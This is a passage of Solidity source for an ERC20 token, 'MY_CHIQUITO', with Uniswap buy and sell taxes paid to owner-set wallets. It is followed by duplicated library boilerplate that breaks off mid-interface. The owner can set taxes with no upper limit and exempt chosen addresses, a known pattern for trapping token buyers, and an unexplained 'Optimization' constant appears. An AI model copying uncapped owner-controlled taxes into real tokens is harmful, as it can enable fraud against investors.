* - 'spender' cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* will be transferred to 'to'.
* - when 'from' is zero, 'amount' tokens will be minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens will be burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* has been transferred to 'to'.
* - when 'from' is zero, 'amount' tokens have been minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens have been burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers 'whenNotPaused' and 'whenPaused', which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by 'account'.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by 'account'.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MY_CHIQUITO is ERC20, Ownable, Pausable {
// CONFIG START
uint256 private initialSupply;
uint256 private denominator = 100;
uint256 private swapThreshold = 0.0000005 ether; // The contract will only swap to ETH, once the fee tokens reach the specified threshold
uint256 private devTaxBuy;
uint256 private marketingTaxBuy;
uint256 private liquidityTaxBuy;
uint256 private charityTaxBuy;
uint256 private devTaxSell;
uint256 private marketingTaxSell;
uint256 private liquidityTaxSell;
uint256 private charityTaxSell;
address private devTaxWallet;
address private marketingTaxWallet;
address private liquidityTaxWallet;
address private charityTaxWallet;
// CONFIG END
uint256 public Optimization = 7312005167508960622596991100517067;
mapping (address => bool) private excludeList;
mapping (string => uint256) private buyTaxes;
mapping (string => uint256) private sellTaxes;
mapping (string => address) private taxWallets;
bool public taxStatus = true;
IUniswapV2Router02 private uniswapV2Router02;
IUniswapV2Factory private uniswapV2Factory;
IUniswapV2Pair private uniswapV2Pair;
constructor(string memory _tokenName,string memory _tokenSymbol,uint256 _supply,address[6] memory _addr,uint256[8] memory _value) ERC20(_tokenName, _tokenSymbol)
{
initialSupply =_supply * (10**18);
_setOwner(_addr[5]);
uniswapV2Router02 = IUniswapV2Router02(_addr[1]);
uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH()));
taxWallets["liquidity"] = _addr[3];
setBuyTax(_value[0], _value[1], _value[3], _value[2]);
setSellTax(_value[4], _value[5], _value[7], _value[6]);
setTaxWallets(_addr[2], _addr[3], _addr[4]);
exclude(msg.sender);
exclude(address(this));
_mint(msg.sender, initialSupply);
}
uint256 private marketingTokens;
uint256 private devTokens;
uint256 private liquidityTokens;
uint256 private charityTokens;
/**
* @dev Calculates the tax, transfer it to the contract. If the user is selling, and the swap threshold is met, it executes the tax.
*/
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
} else if(to == address(uniswapV2Pair)) {
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10**18) / taxSum)) / 10**18;
uint256 marketingETH = (ethGained * ((marketingTokens * 10**18) / taxSum)) / 10**18;
uint256 devETH = (ethGained * ((devTokens * 10**18) / taxSum)) / 10**18;
uint256 charityETH = (ethGained * ((charityTokens * 10**18) / taxSum)) / 10**18;
_approve(address(this), address(uniswapV2Router02), liquidityToken);
(uint amountToken, uint amountETH, uint liquidity) = uniswapV2Router02.addLiquidityETH{value: liquidityETH}(
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
taxWallets["marketing"].call{value: marketingETH}("");
taxWallets["dev"].call{value: devETH}("");
taxWallets["charity"].call{value: charityETH}("");
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
taxWallets["marketing"].call{value: ethGained - (marketingETH + devETH + liquidityETH + charityETH)}("");
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override virtual {
if(taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, recipient, amount);
}
/**
* @dev Triggers the tax handling functionality
*/
function triggerTax() public onlyOwner {
handleTax(address(0), address(uniswapV2Pair), 0);
}
/**
* @dev Excludes the specified account from tax.
*/
function exclude(address account) public onlyOwner {
require(!isExcluded(account), "CoinToken: Account is already excluded");
excludeList[account] = true;
}
/**
* @dev Re-enables tax on the specified account.
*/
function removeExclude(address account) public onlyOwner {
require(isExcluded(account), "CoinToken: Account is not excluded");
excludeList[account] = false;
}
/**
* @dev Sets tax for buys.
*/
function setBuyTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
buyTaxes["dev"] = dev;
buyTaxes["marketing"] = marketing;
buyTaxes["liquidity"] = liquidity;
buyTaxes["charity"] = charity;
}
/**
* @dev Sets tax for sells.
*/
function setSellTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
sellTaxes["dev"] = dev;
sellTaxes["marketing"] = marketing;
sellTaxes["liquidity"] = liquidity;
sellTaxes["charity"] = charity;
}
/**
* @dev Sets wallets for taxes.
*/
function setTaxWallets(address dev, address marketing, address charity) public onlyOwner {
taxWallets["dev"] = dev;
taxWallets["marketing"] = marketing;
taxWallets["charity"] = charity;
}
/**
* @dev Enables tax globally.
*/
function enableTax() public onlyOwner {
require(!taxStatus, "CoinToken: Tax is already enabled");
taxStatus = true;
}
/**
* @dev Disables tax globally.
*/
function disableTax() public onlyOwner {
require(taxStatus, "CoinToken: Tax is already disabled");
taxStatus = false;
}
/**
* @dev Returns true if the account is excluded, and false otherwise.
*/
function isExcluded(address account) public view returns (bool) {
return excludeList[account];
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves 'amount' tokens from the caller's account to 'recipient'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets 'amount' as the allowance of 'spender' over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves 'amount' tokens from 'sender' to 'recipient' using the
* allowance mechanism. 'amount' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning 'false' on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5,05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'recipient' cannot be the zero address.
* - the caller must have a balance of at least 'amount'.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - 'sender' and 'recipient' cannot be the zero address.
* - 'sender' must have a balance of at least 'amount'.
* - the caller must have allowance for ''sender'''s tokens of at least
* 'amount'.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
* - 'spender' must have allowance for the caller of at least
* 'subtractedValue'.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves 'amount' of tokens from 'sender' to 'recipient'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - 'sender' cannot be the zero address.
* - 'recipient' cannot be the zero address.
* - 'sender' must have a balance of at least 'amount'.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates 'amount' tokens and assigns them to 'account', increasing
* the total supply.
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys 'amount' tokens from 'account', reducing the
* total supply.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
* - 'account' must have at least 'amount' tokens.
*/
/* function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
} */
/**
* @dev Sets 'amount' as the allowance of 'spender' over the 'owner' s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* will be transferred to 'to'.
* - when 'from' is zero, 'amount' tokens will be minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens will be burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* has been transferred to 'to'.
* - when 'from' is zero, 'amount' tokens have been minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens have been burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
/* event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
); */
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
/* function burn(address to)
external
returns (uint256 amount0, uint256 amount1); */
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
